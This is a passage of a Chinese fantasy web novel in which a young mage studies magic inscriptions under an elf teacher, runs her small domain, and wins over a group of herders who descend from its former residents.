太阳彻底没入地平线之前，云漠就下到了地面。 好冷好冷好冷！ 晚上的风好大！ 两名精灵下树的动作还是一如既往的好看、美丽，而云漠也大有进步！ 现在的她可不是以前那个只会撅着屁股往下蹭的笨蛋了！ 像来时那样，云漠催动藤蔓搭建成台阶，一步一步走得又稳当又气派。 落地的瞬间，见两名精灵都流露出肯定的目光，云漠不禁有些臭屁。 哼哼，可给我得意坏了！ 在藏书室学习的第七天，云漠学会了第三个魔法，【荆棘突刺】。 乍一看，这个魔法似乎跟【新生】有点类似，本质都是加速植物生长，但呈现效果截然不同： 【新生】是中性魔法，施法过程完全匀速，而【荆棘突刺】则是彻头彻尾的攻击性魔法，要求精神力的短时集中输出，进而达到荆棘尖刺瞬间爆发的效果。 从理论上来说，只要掌握了原理，就能达到“飞花摘叶皆可伤人”的效果。 之所以选择这个魔法，是云漠发现它的威力够大、可延伸性高，而且操作原理跟绘制铭文有点相似：都有一个精神力提前蓄能，然后集中喷发的关键步骤。 不过仅仅是相似。 因为【荆棘突刺】的蓄能是在魔法师体内，像深吸一口气，然后猛喷，而铭文的“蓄能”则在体外，先用容器装起来。 但体内蓄能后集中释放也是云漠没有接触过的。 这显然非常考验魔法师对自身精神力的调度和掌控力。 很有意思。 她闭上眼睛，放慢呼吸，感受着体内的精神力与周围浓郁的木系魔法元素共鸣，形成一道洪流。 她尝试着控制这道洪流停留在体内，积蓄、生长，像浪潮，潮落，潮涨！ 附近的精灵不禁停下脚步，齐齐往某个方向看去。 那里是六角藏书室，正酝酿着一股不怎么熟悉的元素风暴。 云漠仅仅失败了两次，那根有刺灌木便如预想中一样瞬间爆发，而表皮的尖刺们也无法承受突然涌入的“生长之力”，“噗噗”飞出，刺入目标。 云漠跑到树桩前观察，发现准头还不错，但因为第一次成功释放，力道还很欠缺。 大部分扎得都很浅，好多还没碰的，自己就晃了几下掉下来。 还得练啊，云漠想。 一瞬间，她想到很多，如果将【画地为牢】的藤蔓换成这种尖刺灌木会怎样？ 如果将【荆棘突刺】中的荆棘换为另一种带毒的细毛植物会如何？ 啊，这可太值得研究啦！ 五天后，云漠踏上归程。 短期内获取太多知识，她的大脑有点过载，需要时间慢慢消化，并付诸实践。 已经在纳林霜老师缺勤近半个月了，再不回有点说不过去。 而且阅读了前辈们的笔记后，她在铭文方面也有了新的感悟，同时也滋生出更多疑问，急需老师的指导。 来时，云漠只带了两包甜品；离开时，她带了厚厚的四本魔法、铭文和药剂学笔记，外加无数特产。 其中就有很多常用药材、水果种子，以及春日祭上爱吃的奶油坚果。 紫叶给她装了满满一大袋子，至少10公斤！ 而且云漠也问到了养牛人的聚居地，下次回家，就可以跟姨妈和霍莉她们商议再买牛啦！ 怎么说呢，很有点刘姥姥打秋风的味道。 第44章 什么税 东西太多，云漠被迫先回了趟家。 玛雅姨妈将城堡内外打理得井井有条，各处安排得妥当极了。 鸡鸭数量变多了，小麦穗子饱满了，就连新成员小花适应得也不错，而变化最大的莫过于大小河两姐妹。 尤其是小河，五岁的小萝卜头脸上长了肉，个头也拔高一截，脸蛋晒得黑且亮，胆子也大了，老远就能看见她咧嘴龇出来的两排小奶牙。 “领主大人回来啦！” 玛雅姨妈将姐妹俩夸了又夸，喜爱之情溢于言表，“很能干，帮了我和霍莉的大忙呢！” 现在家里足足有几十只鸡鸭，光每天捡蛋就是个大任务。 还有牛和马，又要制作糖果，看顾农田和菜园子，两个人根本顾不过来！ 但现在小萝卜头儿小河勇敢地承担起喂鸡鸭、放牛马的任务，进出鸡窝都不用怎么弯腰，小短腿儿嗖嗖的。又帮着摘菜、捉虫，大河则负责挤牛奶、踩水车，在厨房打下手。 姐妹俩都在闲不住的年纪，一有空就抓着抹布这里擦擦，那里抹抹……拉都拉不住。 玛雅姨妈和霍莉顿觉轻松！ 小河甚至独立发现了一种混在菜园子里的野草，这种野草生长迅速，十来天就能打籽，而这种草籽鸡鸭特别爱吃！ 这么一来，哪怕以后地里的虫子吃光，也能省下喂家禽的粮食。 云漠当众对小姊妹进行了表彰，并将带回来的奶油坚果分给她们吃，“好孩子。” 姐妹俩美得冒泡儿，嘿嘿傻笑。 云漠又对玛雅姨妈说：“孩子光长个儿也不行，有空也得让她们认几个字，学点算术什么的。” 上学，都给我上学！ 玛雅姨妈是名副其实的大管家，记账、出入库之类的活儿全靠她一人支撑，现在人员不多、家底不厚，倒还凑合。 但以后事情只会越来越多，或许也会有客人到来，必须提前培养副手。 霍莉很能干没错，也很擅长跟人打交道，又机灵，甜品制作和驾驶天赋也很出色。 但……让她算术，简直比逼她杀人还艰难。 比起某个人的贴身女仆，云漠觉得霍莉完全有资格胜任我方甜品贸易总负责人的位子！ 算术不好，以后配个会计嘛！ 玛雅姨妈眼睛一亮，也是。 或许是经历的关系，大河非常善于察言观色，属于没活儿都能找出活儿来干的，可以重点培养她对外交接、上下协调，分一下玛雅姨妈肩头的担子。 小河么，还小呢，乖巧懂事，也有几分聪明劲儿，但具体能往哪个方面发展，还得慢慢看。 大河完全不知道未来自己将面临怎样的考验，只是在霍莉的鼓励下，勇敢地向云漠汇报，“领主大人，牛奶越来越少了……” 刚来时，小花每天最多能产10升以上的牛奶，但现在，只有6升左右了。 再这么下去，不等天气正式热起来，家里就没牛奶可用了。 虽然玛雅姨妈和霍莉都解释过，这是很正常的，但大河还是有些忐忑，生怕是自己照顾得不好。 云漠摸摸她的脑袋，“不用怕，你已经做得很好了。” 自然界中没有人为干预，小牛最多也就吃半年奶，而且断奶之前也会开始吃草，牛妈妈就会随着幼崽的需求量减少乳汁分泌。 小花属于人工饲养，哪怕伺候得再尽心，缺少了幼崽刺激，奶量下滑肯定更快更迅速。 坚持到现在还能日产6升，已经算超常发挥了。 见云漠没有责怪的意思，大河狠狠松了口气。 啊，原来真的不是我的错呀！ “我这次回来也是要解决这个问题的，”云漠对大家说，“我从精灵那里打听到养牛人的住处，从这边骑马过去的话，早上出发，下午就能到了。霍莉，我希望你能去一趟，用我带回来的草药换一公一母两头奶牛过来。” “没问题！” 霍莉拍着胸脯保证。 交易小花时她也在场，对那些养牛人的印象很不错。 云漠拍拍她的肩膀，从土特产堆里摸出一小瓶灰褐色的汁液，“把这个涂抹在匕首上，只要划破一点皮……” 霍莉大惊失色，心中瞬间滚过无数个念头： 啊，小姐竟然想要杀人截牛吗？ 其实她觉得养牛那伙人还挺不错的…… 但如果是小姐的意思，那我就…… “想什么呢！”云漠啼笑皆非道，“这是麻药，让你拿着自保的！” 虽说不远，但如果途中遇到什么野兽呢？带回来还能加个餐。 万一的万一，养牛人见她单枪匹马过去，万一有人心怀不轨，霍莉也能震慑一二。 不过这种可能性很低，因为没有普通人能承受来自魔法师的报复。 那可是能跟精灵和堕落魔兽正面对决的物种啊，已经不能算人类了！ 霍莉闻言松了口气，挠着头嘿嘿笑起来，接过瓶子握得紧紧的。 这可是好东西！ 云漠也觉得是好东西，所以不光带了汁液，还弄了些幼苗回来扦插。 有了这玩意儿，就能远程狩猎大型猛兽了。 “记住，一定要让她们亲自送过来，顺便帮我们看看小花养得怎么样，有没有需要改进的地方。”云漠特意叮嘱了霍莉，又对玛雅姨妈说，“姨妈，我会在旁边建几座简单的屋子，人到了之后，务必挽留她们住几天。” 【画地为牢】稍微改良一下就是简单的藤屋，非常方便。 估计对方也会有戒心，但也不会派太多人来，要么豁出去一个，要么双保险两个。 霍莉点头，没往深处想，倒是玛雅姨妈稍后找到云漠，“你有别的打算？” 从居住的位置和特长来看，那些人很有可能是曾经的阿索城外围牧民。 也就是说，如果她们没跑，现在本该是云漠领地内的农户！ 云漠笑起来，“是的。” 现在人手还是太少了，但如何增加长期居民可是一门大学问。 如果强制要求对方归来，非但不能达到目的，反而可能逼得狗急跳墙。 据她所知，养牛人的日子并不好过。 她们并不擅长耕种，至今仍过着逐水草而居的游牧生活，偏偏又不擅长狩猎，以至于成了远近闻名的软柿子，谁都能来捏一下。 要不是虎部落、藤部落等几个强大的部落联合发起声明，集市贸易期间严禁内斗，那群养牛人早都凉透了。 可集市毕竟只有那么几次，平时，养牛人和她们的家畜还频频遭受骚扰和伤害。 这种伤害不仅来自于附近山林的野兽，更多的还是人类邻居们。 再加上天灾，人畜疾病…… 玛雅姨妈懂了。 这是要让养牛人自己心动，主动靠拢。 “不过以后的税怎么算呢？” 玛雅姨妈问道。 经商和种地的税率完全不同，如果以后真的要主打甜品贸易，王国高层要来收税怎么办呢？ 经商税可不低呢！ “税？”云漠抬手一个没有底部的【画地为牢】，漫不经心道，“哪有什么税？” 玛雅姨妈：“？” 云漠又往“鸟笼”顶部加盖了一点藤条，简单的藤屋就做好了，“阿索城不是众神遗弃之地吗？” 连神明都放弃了，谁还管什么鸟国！ 我的地盘我说了算！ 玛雅姨妈：“！” 好家伙，这是要明目张胆的造反呀！ 一座藤屋以肉眼可见的速度完成，云漠退后两步，观察片刻，满意地点点头。 “姨妈，我明白你的顾虑，不过那些人或许以为我们早就冻死饿死了，即便活着也是勉强度日，恐怕三两年内想不起来要收税……” 如果真的是三个普通女人，面对那么多发霉的种子，说不定现在坟头草都老高了。 原身那位贵族小姐，不就中途殒命吗？ 况且阿索城离王都可不近，地方又偏，道路又烂，当初她们坐慢车走了将近一个月，沿途全是荒郊野岭，怎么看都算苦差事。 而且附近全都是“刁民”“旧敌”，冒着风险来一趟，收不收得上税暂且不提，能不能有命回去也不敢保证，哪个税务官愿意接这个活儿？ 以现在的成长速度，三年，不，或许更短，两年，云漠就不会惧怕任何王都来的军队。 因为日落西山的丹茂王国有个致命的弱点：没有魔法师！ 而骑士最擅长近战，擅长远攻的魔法师正是骑士的克星。 当什么领主？ 我要自立为王！ 到时候要是真打过来，统统抓起来，都给我滚去种地！ 玛雅姨妈当然也不愿意再受王都的窝囊气，但在她的固有思维中，从没想过叛变，而现在…… 别说，你还真别说，越想越觉得香！ 大不了就同归于尽嘛！ 有什么了不起的！ 想开之后，玛雅姨妈突然觉得心里多了股莫名的豪气，感觉整个人都精神起来了。 “对了！”她搂着云漠狠狠亲了几口，小跑着从房间里取出一个小布包，“多亏大河和小河帮忙，我这几天可是轻松多啦，之前你带回来许多珍珠，我串了一条手链。你是个有主意的大姑娘啦，没几件漂亮的首饰可不像话……” 云漠打开一看，顿时“哇”了一声，“真漂亮呀，姨妈，您可真厉害！” 是一条约莫一寸宽的珍珠手链，中间用粉色、粉紫色和玫瑰色的同色系珍珠拼成玫瑰花的图案，闪银色的螺钿片打磨成叶片的形状，俏皮又华丽。 末端绑了两条缎带，可以随时根据喜好和需求调整长度。 玛雅姨妈亲手帮她戴上，“本想串项链的，但珍珠不太够，只好先做条手链。” 光是一条手链就用了将近107颗珍珠，同款项链少说也要600颗。 云漠左看右看，爱不释手，搂着她的脖子说：“谢谢姨妈，手链就很棒啦。您对我真好。” 这种风格的项链未免太过华丽，一般场合也用不到。 她确实想过串手链，但也就是单纯的串成一条，哪儿会弄这么复杂的花样呀！ 因为还要回去向纳林霜老师报道，云漠只在家里睡了一夜，次日一早便再次启程。 借助六角藏书室那些前辈们的心得笔记，现在云漠的魔法熟练度又上了一个新的台阶，催生两根60米左右的藤蔓“座驾”之间，冷却时间基本能控制在1分钟左右。 而且因为远离地面，云漠几乎可以无视各种地理障碍，直取“两点之间，线段最短”的最佳路线，10天以下的短距离已经完全不需要骑马了。 云漠“驾驶”藤蔓离去，一次也没回头，只听见背后大小河姐妹俩“哇”声一片，中间隐隐夹杂着“领主大人在飞吗？”之类的言辞，崇拜之情溢于言表。 云漠用力握了下拳。 Yes，要的就是这个效果！ 先去树屋那边种下“麻痹草”，耐心聆听灰杉托尼诉说思念之情，以及那几只打工成瘾的小猴子几次三番失望而归，云漠在树屋修整一夜，第二天才去见老师。 半路就遇到猴子了。 十多天不见，小猴子们急疯了，一时间上蹿下跳，吱哩哇啦叫成一片。 谁懂啊家人们，工作说没就没了！ 云漠去参加春日祭之前也没对外打招呼，习惯打工的小猴子们扑了个空，突然心里就空落落的，茫然间不知道该干嘛了。 而反应最大的竟然不是“失业”的小猴子们，而是母猴。 才清净了几天啊，这群猫嫌狗厌的玩意儿又在家里蹲着了！ 真是看着就烦！ 有只脑袋上炸毛的小猴子特别委屈。 它原本觉得没活儿就没活儿吧，再回家继续啃老嘛，结果当天手刚伸出去，就被亲妈狠狠拍了一巴掌，尖牙都龇出来了。 小猴子整只猴儿都被打懵比了。 母猴骂骂咧咧：糟心玩意儿，多大了还啃老！前几天不还往家带水果么，今天为什么不出去工作！ 小猴子：“……” 亲爱的妈妈，魔法师她消失了啊！ 现在见人类魔法师终于归来，炸毛小猴子激动得捶胸顿足，胸膛剧烈起伏，眼眶都湿润了。 你到底去哪儿了呀！ 知道这些天我们怎么过的吗？！ 云漠不懂猴语，自然不清楚这群小东西经历了什么，只是面对突如其来的热情很有点莫名其妙。 稍后见到纳林霜，云漠还感慨呢，“老师，没想到我猴子缘还挺好的……” 都抢着帮我背包！ 纳林霜：“……作业完成了吗？” 这次作业的核心就是铭文绘制基础，只要能够成功建造回路雏形，就可以尝试绘制基础魔法阵了。 超额完成作业的云漠还顺道展示了自己刚学会的【荆棘突刺】，“老师，我能学习绘制调节温度的魔法阵嘛？” 春天到了，夏天还会远吗？她盯上老师家中的恒温魔法阵很久啦！ 纳林霜意味深长地看了她一眼，没说话，而是直接将她带到魔法阵旁边，掀开遮挡的地毯，让她自己观察。 云漠首先注意到的是，层层嵌套的魔法阵竟然由青色和水蓝色两种颜色构成，直径近1.5米，内外多达9层，盯着看一会儿都要头晕目眩。 而且用的似乎也不是普通颜料，好像混入某种矿石，不断折射出微弱的碎光。 过了会儿，云漠竟从那种水蓝色的魔法阵组合线条上感受到了水系魔法元素的存在。 与此同时，似乎还有另一种陌生的魔法元素与水元素相互租用，但对方并不回应云漠的呼唤。 她思考片刻，不太确定地说：“是风？” 虽然陌生，但并不抵触，应该是风系魔法元素吧。 纳林霜微微颔首，又指着上面的疑似矿石粉问：“知道那是什么吗？” 云漠摇头。 “魔法原石粉末。” 纳林霜的回答让她大吃一惊。 第45章 震撼（一） 魔法原石？！ 是我想象的那个魔法原石吗？云漠低头看了看自己的法杖。 不是说很稀有吗？ 就算大战之前，也只是多，而不是贱吧？ 云漠刚要开口说话，又发现魔法阵的颜色很新，与纳林霜在这里居住的时长并不相配，顿时涌出一个更加不妙的猜测，“老师，这种魔法阵需要后续维护吧？” 学生自己主动思考，这很好。 纳林霜满意地点了点头，“没错。” 魔法阵只是一个统称，具体内容非常庞杂，可以根据目的和用途，以及魔法师个人能力的不同存在于不同的载体。 像云漠最初尝试的构建虚空铭文回路，就属于纯粹以精神力构建的虚空魔法阵，都是一次性的，撒手就没。 而后面纳林霜给她的书面作业，则属于可载魔法阵，可以独立存续一段时间，有一次性的，也有多次和可持续性的。 其中可载魔法阵又会根据使用墨水和载体的不同，得到不同程度的属性提升。 任何学科都要遵循能量守恒定律，哪怕是魔法也不例外。 虚空魔法阵之所以是一次性的，是因为它们能够获取的精神力就那么多，只够引起一次共鸣。 如果想要让它持续作用或者多次反应，就必须有源源不断的能量供给。 最简单的方法就是魔法师本人持续不断输出，维持基本的回路。 但显然很不现实。 当然，这种极端情况并非没有发生过。 曾经在某次战争中，某位人类魔法师就曾和堕落魔兽进行了长时间的对轰，据在场幸存人士回忆，那盛大的魔法对抗至少持续了半个小时以上，大山沦为深坑。 期间人类魔法师灌下去了数以百计的精神力恢复药剂，药剂瓶堆积如山…… 而可载魔法阵，则可以借助魔法墨水、载体等，辅助魔法师的精神力实现共鸣，既节能，又可以提高威力。 像纳林霜这个降温魔法阵中掺杂的水系和风系魔法石粉末，就是魔法材料的一种。 但随着时光流逝，墨水会干涸，掺杂的魔法材料也会风化、剥落，或被外力破坏，属性降低，当然要及时修补。 就像纳林霜维护精灵王国的防御大阵一样。 云漠突然就明白为什么初级魔法师们都负债累累了。 这种消耗谁负担得起呀！ 任何宝石都一样，价格必然随着纯净度和体积大小飙升，可能1克拉只要1个金币，但是2克拉就要5个金币，5克拉就要1千金币…… 因为很多东西不是单纯的数量堆叠就能够改变的。 数量再多，实现不了质变也白搭，就像游戏里10个1级新手也打不过1个2级一样。 见云漠受到惊吓，纳林霜竟难得温柔的解释了一句，“绘制魔法阵可以用雕琢魔法石的下脚料，或小碎石。” 因为借的只是魔法材料本身的属性，而非将其作为载体，所以只要纯度够，大小无所谓。 反正都要磨成粉。 但云漠没怎么被安慰到。 钻石再小也是钻石啊！ 它不是土坷垃！ “不过魔法原石并非制作墨水唯一的原材料。”纳林霜忽然说。 嗯？！ 云漠双眼一亮，难免心生侥幸，试探着问：“会更便宜吗？” 铭文大师眸中迅速划过恶作剧得逞的笑意，“会更贵。” 人类魔法师刚亮起来的眼睛瞬间又黯淡下去：“……” 意外又不是那么意外。 行叭，悬着的心总算是死了！ “好了，”纳林霜心满意足的起身，来到某个房间门口停下，“现在来上关于铭文的第2课，辨认原材料。” 开门之前，精灵还特意意味深长地瞥了云漠一眼，幽幽道：“铭文……你还没入门呢。” 随着纳林霜推门的动作，云漠下意识抬头向房间内望去，一瞬间，呼吸停滞。 里面林立着无数架子，而架子上摆满了各种云漠认识、不认识的矿石、动植物零部件。 甚至还有许多颜色各异、味道可疑的液体……血？ 活像一个小型变态博物馆！ 纳林霜缓缓行走在架子丛林之间，边走边挑挑选选地介绍，包括并不仅限于名字、来源、特性、用途等等。 云漠疯狂做笔记，笔尖都快磨出火星子了！ 老师，等等您可怜的学生！ 然后这笔记做着做着，事情的走向渐渐古怪起来。 因为云漠慢慢发现，这些魔法墨水和载体的原材料来源看似庞杂，但大多指向一个大类： 魔法生物。 就像做法杖时，杖身需要用到智慧树种自愿献出的树枝，而魔法生物们的皮肉血骨同样蕴含着庞大的能量…… “老师，常见的魔法生物，具体有哪些呢？”云漠握笔的手顿住，看着纳林霜，口舌发紧，声音干涩。 她已经隐约猜到了答案。 “堕落魔兽，人鱼，智慧树种，精灵……”纳林霜似乎对她提出这个问题早有准备，哪怕提到精灵时，声音也平静到可怕，没有一丝起伏。 就是这种平静，才更显得诡异。 说到这里，纳林霜停顿了下，无机质般的绿眼睛直直望过来，“以及，人类魔法师。” 不同于天然的魔法生物，人类魔法师很难以血脉为媒介传承。 就像藤部落的现任大巫绿藤，她的祖先就是名震一时的木系魔法师，但绿藤和她的亲眷们却几乎没有继承到真正的木系魔法元素亲和力。 但经过魔法淬炼的魔法师身体性质已经改变，是物理意义上的“不是人”了。 说得残酷一点，“人类”充其量只能算魔法师的母族，而魔法师本人，已经是名副其实的魔法生物。 她们的血液和皮肉中自然也蕴含着魔法之力。 所以与魔法生物，尤其是高等智慧魔法生物交战，直到最后一刻也不能放松警惕，要防止她们以自身血肉为媒介进行最后一次共鸣，与对手同归于尽。 云漠仿佛听到了自己血液被冻结的声音。 多么讽刺，多么荒诞，又多么现实！ 谁能想到自以为是食物链顶端的生物，也是别的猎物和对手眼中的猎物呢？ 所以真正的种族混战，一定远比局外人想象的更加惨烈。 不知过了多久，纳林霜的声音自外界传来，打碎了云漠的“冻结”状态，“怕了吗？” 云漠回神，发现正低头看着自己的手，那只戴着玛雅姨妈编制的珍珠手链的腕管下，滚烫的血液正在奔流。 “怕，”她重重吐了口气，选择直面恐惧，然后勇敢地抬起头与精灵对视，“但正因为怕，所以才要继续学习。” 如果不努力变强，未来的她就只能当材料！ 她才不要！ 诚实，可贵的品质。 恐惧，变强的源泉。 纳林霜的眼神都柔和了些，开口却让云漠眼前一黑，“那么我刚才说的，你都记住了吧？” 云漠：“……” 不是，您刚才说了近百种，而且只讲了一遍，这特么的谁记得住！ 云漠委屈，云漠不敢说，因为纳林霜真的都记住了。 学不会怎么办呢？ 很简单，学到会为止。 区区背书，中国孩子没在怕的。 但铭文学涉及到的材料之广泛、数量之多，还是有点超乎云漠的想象。 任何学问都不是绝对独立的，无论哪个科目的大师，只要到达了一定的高度，必然会涉及到其他领域的知识。 而只要你想继续提升，就只能去学习、去了解，久而久之也就成了半个专家。 所以只要是能配得上大师称号的生物，她们的知识储备一定都非常深厚，涉猎领域必然是难以想象的多。 就像云漠在六角藏书室接触到的那些前辈们的手稿，原主人最起码也同时是木系魔法师和药剂师，多的甚至同时精通五、六种深奥的学问。 再比如纳林霜的老师，传奇铭文大师奥姆，原本就是一位资深木系魔法宗师、箭术大师，同时也是知名药剂学大师，更精通风系、水系魔法，甚至具备相当的锻造技巧，部分炼金成果流传于世。 哪个时空都不缺天才。 云漠不确定自己到底算不算天才，她要做的、能做的只有一件事： 努力跟上。 就在云漠挣扎着经历头脑风暴的洗礼时，另一群人也在面临重大人生抉择。 霍莉骑上马，顺利找到了养牛人的聚集地。 听说她要买牛，大家才松了口气。 还好还好，还以为是谁又打上门了呢…… “我骑着马，恐怕没办法一个人再带两头牛，”霍莉笑着解下马背上的布包，“这是上次你们需要的药材，等牛安全送到之后，再给你们另一半。” 布包里有两种药材，按照一定的比例搭配后熬煮，可以用来治疗腹泻。 千万不要小看腹泻，这是一种一度非常肆虐的疾病，看似不如鲜血淋漓的皮肉翻卷可怕，但传染性极强，能在短短几个小时内让最强大的战士丧失战斗力，普通人因此丧命的也不在少数。 这种疾病甚至还会在人畜之间传播，对以畜牧业为生的养牛人而言不亚于天敌。 在集市上与云漠做过交易的几个养牛人上前检查了药材，对首领欢喜的点头，“就是这些药材没错。” 她们最喜欢这种有信用又爽快的客人了。 但听明白要送到哪里去之后，养牛人们的表情就变得微妙起来。 正如玛雅姨妈和云漠推测，她们的祖先正是当年阿索城覆灭时流亡在外的居民。 哪怕有苦衷，但祖先们当年的行为是结结实实的叛逃，现在却又要回去那里，跟新任领主做买卖……多少有些自投罗网般的不自在。 霍莉却像早有预料般说：“领主大人说了，她就有几位精灵朋友，还拜了精灵做老师，非常清楚精灵族的强大。 你们也只是无辜的受害者，所以她绝不会因为当年的事情迁怒你们，也不会强迫你们做什么，请千万不要介意！” “啊，”被戳中心事的养牛人们顿觉雨过天晴，难免有些不好意思，还有点被理解的感动和酸楚，“这个，她真是心胸宽广啊……” 她们的祖先也只是普通人类，曾亲眼目睹本该坚不可摧的城池在精灵军团的围剿下，如阳光下的雪片般融化…… 这种深入骨髓的恐惧代代相传，让她们始终对精灵避之不及，现在听霍莉亲口承认新任领主云漠与精灵族这样亲密……当真一点儿耍心眼的想法都不敢有。 双方都很有诚意，交易迅速进行。 养牛人们精心挑选出一对奶牛，又留霍莉住了一夜，第二天就派两名成员陪同送货去了。 牛的速度自然不能跟纵马狂奔相提并论，来时霍莉只用了大半天，可回去却走了足足两日。 当那一大片绿油油的田地映入眼帘，两名养牛人都震惊了。 这是麦子？！ 第46章 震撼（二） 养牛人不是没种过麦子，但她们根本拿不到优良品种，也没能从祖先那里继承多少种植技巧，种出来的麦苗非常纤细，可能一阵风、一场雨就被压倒了。 即便能勉强存活，结出的麦穗也十分干瘪，更别说频繁发生的虫灾…… 忙活一场，打下来的麦粒寥寥无几，完全入不敷出，最终也只能放弃，继续专职畜牧业用奶制品和肉类对外交换，倒也勉强维生。 “这么好的庄稼，怎么只种这么一点呢？”年纪大一点的养牛人忍不住问。 霍莉蛮不在乎道：“领主大人说了，种庄稼很累，又需要很多人和牲畜，我们这边人不多，只做甜品买卖就好了。这些庄稼并不为了自己吃，是领主大人种来改良品种的，以后还会有结得更多的呢！” “啊？” 两名养牛人已经完全被看到的听到的震撼了，喃喃着说不出话来。 已经这么出色了，竟然还可以继续改良吗？ 那我们之前种的算什么呀？ 而且，谁家种了这么好的粮食不为了吃啊！ 你们人少，没有足够的牲口，我们有啊！ “霍莉姐姐，您回来啦！这就是新买的牛吗？真结实呀！” 大小河两姐妹老远就看见霍莉，跑着迎过来。 霍莉翻身下马，学云漠的样子在她们脑袋上摸了摸，又介绍两位养牛人，“这两位客人会在这里住几天，一定要好好招待，知道吗？” 大河笑着向客人问好，“你们好呀，屋子里已经换好干净的床单，那边就有水，随便用。热乎乎的饭菜也马上就好了，请不要客气。” 被玛雅姨妈教导一番之后，现在的大河说话做事已经很像样了。 就连小河，也乖乖问好后主动去牵牛。 这些日子的牛都是她放的，放得可好了呢！ 来的两名养牛人都是上次集市贸易的成员之一，看见小姐妹俩就觉得眼熟，愣了下才回过神来： 啊，这不是那两个可怜兮兮的小流浪嘛！ 不怪她们没能第一时间认出来，实在是姐妹俩变化太大了： 破烂脏臭的衣服不见了，枯草一样油腻泛黄的头发也不见了，取而代之的是两个白白净净，红润的脸蛋上长了肉肉的漂亮姑娘。 她们的个头都拔高一大截，就连头发都因为营养充足而变得富有光泽…… 整洁，干净，彬彬有礼，就像，哦，是的，像养牛人的祖先们充满眷恋的回忆中，那些从容的阿索城居民一样！ 再往里走，哇哦，她们竟然修建了漂亮的水渠和水车！ 什么？ 根本不用下楼，水车直接就可以将水送到三楼去？ 稍后的午饭更是令两名养牛人大开眼界。 瞧瞧她们得到了什么！ 满满一大盘烤兔肉！甚至奢侈地涂抹了糖水，表面烤得金灿灿油淋淋的，好吃得要命！ 烤兔肉旁边还堆放着许多肥嫩的烤蘑菇，翠绿多汁的凉拌蔬菜，切开两半的水煮蛋，鲜美异常。 哦，当然，还有热腾腾的面包。 嗯？ 面包怎么这么软，这么香？ 天呐，像云朵一样！里面竟然没有麸皮，一点儿麸皮都没有！ 两名养牛人面面相觑，心中突然忐忑起来。 谁家面包里没有麸皮呀？ 这，这不会是拿错了吧？ 正巧霍莉从前面走过，年长的一个立刻起身，小心翼翼地问道：“霍莉小姐，这似乎不是我们应该吃的食物。” 问明白缘由后，霍莉笑道：“没有错，我们这里的面包统统没有麸皮！领主大人说了，麸皮是喂牲口的，她绝不会允许她的子民吃麸糠！当然，作为客人的你们也该得到优待。” 这算什么？ 隔三岔五我们还会包流油的肉包子、煎外酥里嫩的野菜鸡蛋馅儿饼呢！ 那才叫真好吃！ 养牛人倒吸凉气，脱口而出，“领主大人真是非常了不起的人呐……” 多么慷慨！ 不知不觉间，她们的称呼竟然也变成了领主大人。 其中一名养牛人后知后觉的发现了不对劲，可转念一想，有什么不好呢，又有什么不对呢？ 我们本来就是阿索城的后裔不是吗？ 这顿饭异常美味，哪怕两名养牛人努力克制，也不禁胃口大开，熟练地用面包屑蘸取盛放烤兔肉的盘子里滴落的油脂。 她们的脑袋因为饱腹感和温暖的阳光而有些飘飘然，不由得开始畅想，如果每天都能过这样的生活，该有多好啊！ 吃得太好，两名养牛人都觉得有些惭愧，除了部落中约定不能说的秘法之外，能教的畜牧技巧都教了。 闲暇之余，她们甚至还主动帮忙放牛、割草、采摘蔬菜和水果。 城堡四周非常空旷，据说原本野兽横行，非常危险。 但野兽也最敏锐，据说自从这位领主大人释放出魔法师特有的威势，又将斩杀的野猪头颅挂在森林交界处后，大部分野兽就主动绕道而行了。 所以绝大多数时候，玛雅姨妈等人根本不必担心有野兽攻击。 看着舒舒服服坐在凉棚下小憩的主人们，两名养牛人羡慕非常，犹豫片刻，也在不远处的树荫内躺下。 春日几场小雨过后，草地便重新焕发了生机，到处都是绿油油毛茸茸的一片，躺上去软乎乎的，舒服极了。 躺着看天，天空似乎格外高远，无垠的蓝色画布上随意点缀着几抹白云，随风游走。 远处的风好像也特别温柔，在草地和树林中荡开绿色的波浪，“刷~刷~刷~” 不知名的小野花静静散发着幽香，淡黄色的蝴蝶无声飞舞，草根处的昆虫“啾啾”叫着，头顶茂密的枝桠随风摆动，摇曳间洒下无数光斑…… 啊，多么宁静惬意的生活啊！ 养牛人不知不觉进入甜美的梦乡。 两天时光稍纵即逝，养牛人的任务已经完成，也顺利拿到尾款。 该回去了。 玛雅姨妈甚至还额外给她们装了两条面包，“感谢你们的指点，回去的路上吃吧。” 她的语气是那样柔软亲昵，态度是那样的温和坦诚，如同迎面吹来的春风，叫人浑身放松。 回忆着这几天的经历，两名养牛人突然有种美梦苏醒的失落，脑子里地冒出来的第一个念头竟然是： 这个家，我非回不可吗？ 意识到这一点之后，她们立刻被自己惊到了，恨不得往脸上甩一巴掌。 天呐，你怎么能这么想呢？ 那可是家呀！ 但马上，她们脑子里好像又冒出来一个小人，吱哩哇啦的喊起来：追求更舒适的生活难道不是应该的嘛？ 凡事就怕比较，一旦比较就会产生差距。 而一旦亲眼见到了这种差距，再想回归原来那种艰苦的生活就会很难。 玛雅姨妈派大河将送两位客人到支流那边。 分别时，年长一些的养牛人尝试性地问：“每天要做那么多活很累吧？能干得过来吗？” 她本想听到对方说出人手不够的话，谁知话音未落，大河便脸色一变，警惕地看着她，语气中也带了谴责，“领主大人给予我们吃穿和安宁的生活，努力干活不是应该的吗？” 活越多，就意味着收获越多，这种好日子盼还盼不来呢。 养牛人一愣，明白过来之后脸都涨红了，慌忙解释说：“不不不，你误会了，我是说，哦，我是说领主大人如此强大，领地肯定会日益繁华，不光禽畜，人口也会越来越多吧？” 听她这么说，大河才又高兴起来，下巴抬得高高的，“当然，领主大人是最厉害的！” 回去的路上，两名养牛人脑海中充满了这几天见识过的繁盛景象，整副身体都被萦绕不去的美味支配了。 刚回到家，两人就去见了部落首领，上交带回的药材后便迫不及待地诉说了见闻。 部落首领和几位议事的长老都沉默了。 谁不想过好日子呢？ “你们的意思是，她们缺人手？”一位长老看了看首领，见她没有反对才继续说，“那么我们可以继续合作。” 刚回来的那两人对视一眼，鼓起勇气却又小声地说：“其实，其实我们本来就是阿索城的子民不是吗？” 还合作什么呀！ 干脆回去得了！ “胡闹！”另一位长老脸色大变，大声呵斥说：“她可是那些贵族老爷的后代，你们难道忘了当年的事情了吗？” 原本沉默的另外几个人也热烈地加入了讨论，“对呀，而且她还跟精灵打得火热！” “是的！集市期间我亲眼见过她跟几名精灵有说有笑，还一起玩乐……” 气氛顿时沉闷起来，但也有人不服气。 “可当年的事也不是她做的，她也只是个无辜的孩子……” “是的是的，她对我们还非常友好呢。” 